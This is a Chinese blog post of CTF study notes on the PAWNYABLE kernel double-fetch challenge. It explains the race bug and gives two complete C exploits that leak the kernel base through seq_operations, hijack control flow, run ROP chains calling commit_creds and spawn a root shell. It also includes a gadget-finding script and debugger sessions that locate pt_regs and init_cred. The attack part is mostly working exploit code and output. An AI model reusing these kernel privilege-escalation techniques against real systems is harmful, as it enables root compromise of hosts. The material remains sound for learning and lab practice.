PAWNYABLE kernel double fetch 笔记

感觉就像是 toctou?先检查后使用?

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  if (verify_request((void*)arg))
    return -EINVAL;

  switch (cmd) {
    case CMD_GET: return copy_data_to_user(filp, (void*)arg);
    case CMD_SET: return copy_data_from_user(filp, (void*)arg);
    default: return -EINVAL;
  }
}

如果没开 smap

堆块的范围是 kmalloc-32,可以用 seq structure 获得 kernel base。

寻找 gadget 来改变 rsp 的时候发现,既没有什么可以控制的寄存器,有没有固定的地址,于是就使用一个 mov esp, 0x39000000; ret; 的 gadget 来进行跳转。

BUG: unable to handle page fault for address: 0000000123456789
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 8000000001fb2067 P4D 8000000001fb2067 PUD 0
Oops: 0010 [#1] PREEMPT SMP PTI
CPU: 1 PID: 123 Comm: exp Tainted: G           O      5.17.1 #3
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian4
RIP: 0010:0x123456789
Code: Unable to access opcode bytes at RIP 0x12345675f.
RSP: 0018:ffff9c4b40183de8 EFLAGS: 00000246
RAX: 0000000123456789 RBX: ffff9c4b40183e88 RCX: 00000000001119c1
RDX: 0000000000111981 RSI: ffff893381ff2c58 RDI: ffff893381ff2c30
RBP: ffff9c4b40183e40 R08: ffff893381ee0000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
R13: 0000011111111111 R14: ffff893381ff2c58 R15: ffff893381ff2c30
FS:  00000000004cf3c0(0000) GS:ffff893382500000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000123456789 CR3: 0000000001ff8000 CR4: 00000000001006e0

exp 跟之前的思路差不多其实

#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define LEAK_SIZE 0x100
#define SEQ_SIZE 0x100

typedef struct {
    char *ptr;
    uint64_t len;
} request_t;

int fd;
request_t req;
int race_win = 0;
int seq_fd[SEQ_SIZE];
char buf[0x100] = {0};

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kbase;
uint64_t commit_creds = 0x72810;
uint64_t prepare_kernel_cred = 0x729b0;
uint64_t srrartu = 0x800e10;
uint64_t modprobe_path = 0xe37e60;
uint64_t pop_rdi_ret = 0x9b0cd;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t mov_rdi_rax_ret = 0x63d0ab;
uint64_t swapgs = 0x63c5ae;
// 0xffffffff8152027a: mov esp, 0x39000000; ret;
uint64_t mov_esp_x_ret = 0x52027a;
uint64_t nop_ret = 0xd5f;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void print_hex(char *name, uint64_t addr) {
    printf("%s 0x%" PRIx64 "\n", name, addr);
}

void *race(void *) {
    while (!race_win) {
        req.len = LEAK_SIZE;
        usleep(1);
    }
}

void race_read(int len, char *buf) {
    race_win = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, NULL);
    req.ptr = buf;

    for (int i = 0; i < 0x90000; i++) {
        req.len = 0x20;
        if (ioctl(fd, CMD_GET, &req) == 0 && *(uint64_t *)(buf + 0x20)) {
            for (int j = 0; j < LEAK_SIZE; j += 8) {
                print_hex("leak", *(uint64_t *)(buf + j));
            }
            race_win = 1;
            break;
        }
    }
    race_win = 1;
    pthread_join(t, NULL);
}

void race_write(int len, char *buf) {
    race_win = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, NULL);
    req.ptr = buf;

    for (int i = 0; i < 0x90000; i++) {
        req.len = 0x20;
        ioctl(fd, CMD_SET, &req);
    }
    race_win = 1;
    pthread_join(t, NULL);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void krop_without_smap() {
    uint64_t rop[] = {pop_rdi_ret + kbase,
                      0,
                      prepare_kernel_cred + kbase,
                      pop_rcx_ret + kbase,
                      0,
                      mov_rdi_rax_ret + kbase,
                      commit_creds + kbase,
                      srrartu + kbase + 22,
                      0x1,
                      0x2,
                      (uint64_t)&binsh,
                      user_cs,
                      user_rflags,
                      user_sp,
                      user_ss};

    char *rop_buf =
        mmap((char *)0x39000000 - 0x1000, 0x2000, PROT_READ | PROT_WRITE,
             MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);

    memcpy((char *)0x39000000, &rop, sizeof(rop));

    *(uint64_t *)(buf + 0x20) = mov_esp_x_ret + kbase;
    race_write(0x100, buf);

    for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
        read(seq_fd[i], (char *)0x11111111111, 0x22222222222);
    }
}


int main() {
    save_status();
    for (int i = 0; i < SEQ_SIZE / 2; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
    fd = open("/dev/dexter", O_RDWR);
    for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
    race_read(0x100, buf);

    kbase = *(uint64_t *)(buf + 0x20) - 0x170f80;

    krop_without_smap();
}

如果开启了 smap 呢

参考这个思路 Linux Kernel PWN | 040302 Pawnyable之双取Kernel Pwn Struct seq_operations and Struct pt_regs - Wings 的博客

pt_regs

系统调用陷入内核时, 会在内核栈上保存用户态 (准确来说是 trampoline 时) 的寄存器, 以便后续恢复. 这些寄存器在内核栈底形成了一个称为 pt_regs 的结构...我们可以跳转到这里!

pt_regs 位置

pt_regs 的位置在哪里...怎么还能找到两个差不多的,不过其中一个地址距离 rsp 比较远,另一个近一点只有 0x170。

用这个寄存器布置来测试

    __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    0x88888888;"
        "mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   132;"
        "syscall"
        );

在内存里面搜索

pwndbg> search -8 0xbeefdead
Searching for value: b'\xad\xde\xef\xbe\x00\x00\x00\x00'
[pt_401]        0x401f3a lodsd eax, dword ptr [rsi]
[pt_ffff91e901fbb] 0xffff91e901fc5f58 0xbeefdead
[pt_ffff91e901fe1] 0xffff91e902556f3a 0xbeefdead
[pt_ffffa3dd80190] 0xffffa3dd80193f58 0xbeefdead

pwndbg> x/10gx 0xffffa3dd80193f58
0xffffa3dd80193f58:     0x00000000beefdead      0x0000000011111111
0xffffa3dd80193f68:     0x0000000022222222      0x0000000033333333
0xffffa3dd80193f78:     0x0000000044444444      0x0000000055555555
0xffffa3dd80193f88:     0x0000000000000246      0x0000000077777777
0xffffa3dd80193f98:     0x0000000088888888      0x0000000099999999

pwndbg> x/10gx 0xffff91e901fc5f58
0xffff91e901fc5f58:     0x00000000beefdead      0x0000000011111111
0xffff91e901fc5f68:     0x0000000022222222      0x0000000033333333
0xffff91e901fc5f78:     0x0000000044444444      0x0000000055555555
0xffff91e901fc5f88:     0x0000000000000246      0x0000000077777777
0xffff91e901fc5f98:     0x0000000088888888      0x0000000099999999

pwndbg> p $rsp
$4 = (void *) 0xffffa3dd80193de8
pwndbg> p/x 0xffffa3dd80193f58 - 0xffffa3dd80193de8
$5 = 0x170

如何跳转到 pt_regs

用 gdb 测试的偏移尝试直接加 rsp 跳转过去,但是用正则表达式 ropr vmlinux -p -n -R "add rsp, 0x1[34578]\d" -u > rop_dump.txt 可以找到:

0xffffffff81063aed: add rsp, 0x188; pop rbx; pop r12; pop rbp; ret;  找到最接近的是,不太够用。
0xffffffff811eed5d: add rsp, 0x148; pop r12; pop r13; pop r14; pop rbp; ret;  不行,刚好差一个...
0xffffffff8123b9fe: add rsp, 0x178; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; 这个太少了...

只好自己写了一个脚本来找...

import os
from typing import Dict
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
import argparse
import pwn
from elftools.elf.elffile import ELFFile

RET_OPCODE = b"\xc3"

def parse_args():
    parser = argparse.ArgumentParser(
        description="Find and disassemble sequences in a binary file."
    )
    parser.add_argument("binary", help="Path to the binary file to search.")
    parser.add_argument("-i", "--inst", help="instruction to search")
    return parser.parse_args()

def get_text_segment_offset_and_size(file_path):
    with open(file_path, 'rb') as f:
        elf = ELFFile(f)

        for section in elf.iter_sections():
            if section.name == '.text':
                return section.header.sh_offset, section.header.sh_size

        print(".text section not found in the file.")
        return None, None
    
def assemble_inst(inst: str):
    pwn.context.arch = "amd64"
    return pwn.asm(inst)

def find_sequences(file_path, inst):
    with open(file_path, "rb") as f:
        binary_data = f.read()

    target_inst = assemble_inst(inst)
    text_offset, _ = get_text_segment_offset_and_size(file_path)

    sequences: Dict[int, bytes] = {}
    index = 0
    while index < len(binary_data):
        index = binary_data.find(target_inst, index)
        if index == -1:
            break

        start_index = index
        end_index = binary_data.find(RET_OPCODE, start_index)
        if end_index == -1:
            break
        end_index += len(RET_OPCODE) 

        sequences.setdefault(start_index-text_offset, binary_data[start_index:end_index])
        index = end_index

    return sequences


def disassemble_sequences(sequences):
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for addr, seq in sequences.items():
        print(f"Machine code: {seq.hex()}")
        print("Disassembly:")
        for instr in md.disasm(seq, addr):
            print(f"0x{instr.address:x}:\t{instr.mnemonic}\t{instr.op_str}")
        print("-" * 40)


if __name__ == "__main__":
    args = parse_args()
    if not os.path.exists(args.binary):
        print(f"Error: File '{args.binary}' not found!")
    else:
        sequences = find_sequences(args.binary, args.inst)
        if sequences:
            disassemble_sequences(sequences)
        else:
            print("No matching sequences found.")

这样就可以找多多一点的 gadget

(pwn) [qemu] python3 find_inst.py vmlinux -i "add rsp, 0x140"                                                         10:44:09 
Machine code: 4881c4400100004489c85b415c415d415e415f5dc3
Disassembly:
0xbf813:    add    rsp, 0x140
0xbf81a:    mov    eax, r9d
0xbf81d:    pop    rbx
0xbf81e:    pop    r12
0xbf820:    pop    r13
0xbf822:    pop    r14
0xbf824:    pop    r15
0xbf826:    pop    rbp
0xbf827:    ret    
----------------------------------------
Machine code: 4881c44001000031c05b415c415d415e415f5dc3
Disassembly:
0x1e10b6:    add    rsp, 0x140
0x1e10bd:    xor    eax, eax
0x1e10bf:    pop    rbx
0x1e10c0:    pop    r12
0x1e10c2:    pop    r13
0x1e10c4:    pop    r14
0x1e10c6:    pop    r15
0x1e10c8:    pop    rbp
0x1e10c9:    ret    
----------------------------------------

布置 rop

其实也就只有 6 个 gadget 可以控制,要怎么写出来 6 个 gadget 的 rop 呢?

这里可以用 commit_creds(&init_cred) 来提权, 然后可以找 swapgs; iretq 这种 gadget, 剩下的像 rip, cs, flags, rsp, ss 等回落需要的值, 只需要设置 rsp 就行. iretq 回到用户态, 触发段错误, 用户态捕获段错误信号, 在 handle 函数中启动 root shell 即可.

pop_rdi_ret
init_cred
commit_cred
swapgs_restore_regs_and_return_to_usermode

init_cred 这个地址怎么找...? Page-level UAF - CTF Wiki

不过 init_cred 的符号有的时候是不在 /proc/kallsyms 中导出的,我们在调试时未必能够获得其地址,因此这里笔者选择通过解析 task_struct 的方式向上一直找到 init 进程(所有进程的父进程)的 task_struct ,从而获得 init_cred 的地址。

比如说:

先找到当前进程的 task_structure: 这里的偏移是看了源码猜的 sched.h - include/linux/sched.h - Linux source code v6.2 - Bootlin Elixir Cross Referencer

在 pid 边上是 real_parent 的 task_struct 所以挺好定位父进程的 task_struct。

	pid_t				pid;
	pid_t				tgid;
	/* Real parent process: */
	struct task_struct __rcu	*real_parent;

直到遇到 pid 为 0 的进程,就可以找到 init cred 是 0xffffffffa4237440 了~

pwndbg> x/10gx 0xffffffffa4212580 + 0x3f0
0xffffffffa4212970:     0x0000000000000000      0x0000000000000000
0xffffffffa4212980:     0xffffffffa4212580      0xffffffffa4212580
0xffffffffa4212990:     0xffff93ddc1090420      0xffff93ddc1091020
0xffffffffa42129a0:     0xffffffffa42129a0      0xffffffffa42129a0
0xffffffffa42129b0:     0xffffffffa4212580      0xffffffffa42129b8
pwndbg> x/10gx 0xffffffffa4212580 + 0x3f0 + 0x1c0
0xffffffffa4212b30:     0xffffffffa4237440      0xffffffffa4237440
0xffffffffa4212b40:     0x2f72657070617773      0x0000000000000030
0xffffffffa4212b50:     0x0000000000000000      0x0000000000000000
0xffffffffa4212b60:     0x0000000000000000      0x0000000000000000
0xffffffffa4212b70:     0xffffffffa42b0e80      0xffffffffa42b0980
pwndbg> x/10gx 0xffffffffa4237440
0xffffffffa4237440:     0x0000000000000004      0x0000000000000000
0xffffffffa4237450:     0x0000000000000000      0x0000000000000000
0xffffffffa4237460:     0x0000000000000000      0x0000000000000000
0xffffffffa4237470:     0x000001ffffffffff      0x000001ffffffffff
0xffffffffa4237480:     0x000001ffffffffff      0x0000000000000000

好现在 rop 布置的有模样了:

───────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────
   0xffffffffbd8bf81e    pop    r12            R12 => 0xffffaee500193f48
   0xffffffffbd8bf820    pop    r13            R13 => 0xffffffffbde3c543
   0xffffffffbd8bf822    pop    r14            R14 => 0
   0xffffffffbd8bf824    pop    r15            R15 => 0
   0xffffffffbd8bf826    pop    rbp            RBP => 0xffffffffbe00007c
 ► 0xffffffffbd8bf827    ret                                <0xffffffffbd89b0cd>
    ↓
   0xffffffffbd89b0cd    pop    rdi            RDI => 0xffffffffbe637440
   0xffffffffbd89b0ce    ret                                <0xffffffffbd872810>
    ↓
   0xffffffffbd872810    push   rbp
   0xffffffffbd872811    mov    rbp, rsp       RBP => 0xffffaee500193f68 —▸ 0xffffffffbe00007c ◂— nop dword ptr [rax + rax]
   0xffffffffbd872814    push   r13
────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0xffffaee500193f58 —▸ 0xffffffffbd89b0cd ◂— pop rdi
01:0008│     0xffffaee500193f60 —▸ 0xffffffffbe637440 ◂— 4
02:0010│     0xffffaee500193f68 —▸ 0xffffffffbd872810 ◂— push rbp
03:0018│     0xffffaee500193f70 —▸ 0xffffffffbe000e26 ◂— mov rdi, rsp
04:0020│     0xffffaee500193f78 ◂— 0x44444444 /* 'DDDD' */
05:0028│     0xffffaee500193f80 ◂— 0x55555555 /* 'UUUU' */
06:0030│     0xffffaee500193f88 ◂— 0x246
07:0038│     0xffffaee500193f90 ◂— 0x33 /* '3' */

exp 如下:

#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <signal.h>

#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define LEAK_SIZE 0x100
#define SEQ_SIZE 0x100

typedef struct {
    char *ptr;
    uint64_t len;
} request_t;

int fd;
request_t req;
int race_win = 0;
int seq_fd[SEQ_SIZE];
char buf[0x100] = {0};

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kbase;
uint64_t commit_creds = 0x72810;
uint64_t prepare_kernel_cred = 0x729b0;
uint64_t srrartu = 0x800e10;
uint64_t modprobe_path = 0xe37e60;
uint64_t pop_rdi_ret = 0x9b0cd;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t mov_rdi_rax_ret = 0x63d0ab;
uint64_t swapgs = 0x63c5ae;
// 0xffffffff8152027a: mov esp, 0x39000000; ret;
uint64_t mov_esp_x_ret = 0x52027a;
uint64_t nop_ret = 0xd5f;
// 0xffffffff8123b9fe: add rsp, 0x178; mov eax, r12d; pop rbx; pop r12; pop rbp; ret;
uint64_t add_rsp = 0xbf813;
uint64_t init_cred = 0xe37440;

void save_status() {
    asm("mov %0, cs;"
        "mov %1, ss;"
        "mov %3, rsp;"
        "pushf;"
        "pop %2;"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void print_hex(char *name, uint64_t addr) {
    printf("%s 0x%" PRIx64 "\n", name, addr);
}

void *race(void *) {
    while (!race_win) {
        req.len = LEAK_SIZE;
        usleep(1);
    }
}

void race_read(int len, char *buf) {
    race_win = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, NULL);
    req.ptr = buf;

    for (int i = 0; i < 0x90000; i++) {
        req.len = 0x20;
        if (ioctl(fd, CMD_GET, &req) == 0 && *(uint64_t *)(buf + 0x20)) {
            for (int j = 0; j < LEAK_SIZE; j += 8) {
                print_hex("leak", *(uint64_t *)(buf + j));
            }
            race_win = 1;
            break;
        }
    }
    race_win = 1;
    pthread_join(t, NULL);
}

void race_write(int len, char *buf) {
    race_win = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, NULL);
    req.ptr = buf;

    for (int i = 0; i < 0x90000; i++) {
        req.len = 0x20;
        ioctl(fd, CMD_SET, &req);
    }
    race_win = 1;
    pthread_join(t, NULL);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void krop_without_smap() {
    uint64_t rop[] = {pop_rdi_ret + kbase,
                      0,
                      prepare_kernel_cred + kbase,
                      pop_rcx_ret + kbase,
                      0,
                      mov_rdi_rax_ret + kbase,
                      commit_creds + kbase,
                      srrartu + kbase + 22,
                      0x1,
                      0x2,
                      (uint64_t)&binsh,
                      user_cs,
                      user_rflags,
                      user_sp,
                      user_ss};

    char *rop_buf =
        mmap((char *)0x39000000 - 0x1000, 0x2000, PROT_READ | PROT_WRITE,
             MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);

    memcpy((char *)0x39000000, &rop, sizeof(rop));

    *(uint64_t *)(buf + 0x20) = mov_esp_x_ret + kbase;
    race_write(0x100, buf);
    for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
        printf("vuln seq index %d", seq_fd[i]);
        read(seq_fd[i], (char *)0x11111111111, 0x22222222222);
    }


}

uint64_t binsh_addr = (uint64_t)&binsh;


void hack_pt_rags() {
    *(uint64_t *)(buf + 0x20) = add_rsp + kbase;
    race_write(0x100, buf);

    print_hex("add rsp", add_rsp + kbase);
    prctl(PR_SET_NAME, "giacomo");
    signal(SIGSEGV, binsh);

    pop_rdi_ret += kbase;
    init_cred += kbase;
    commit_creds += kbase;
    srrartu += kbase + 22;
    print_hex("srrartu", srrartu);

    getchar();

    __asm__(
        "mov r15,   pop_rdi_ret;"
        "mov r14,   init_cred;"
        "mov r13,   commit_creds;"
        "mov r12,   srrartu;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    0x88888888;"
        "mov r8,    user_sp;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   132;"
        "syscall"
        );
}


int main() {
    save_status();
    for (int i = 0; i < SEQ_SIZE / 2; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
    fd = open("/dev/dexter", O_RDWR);
    for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
    race_read(0x100, buf);

    kbase = *(uint64_t *)(buf + 0x20) - 0x170f80;

    // krop_without_smap();

    hack_pt_rags();
}
posted @ 2024-12-13 16:18  giacomo捏  阅读(0)  评论(0编辑  收藏  举报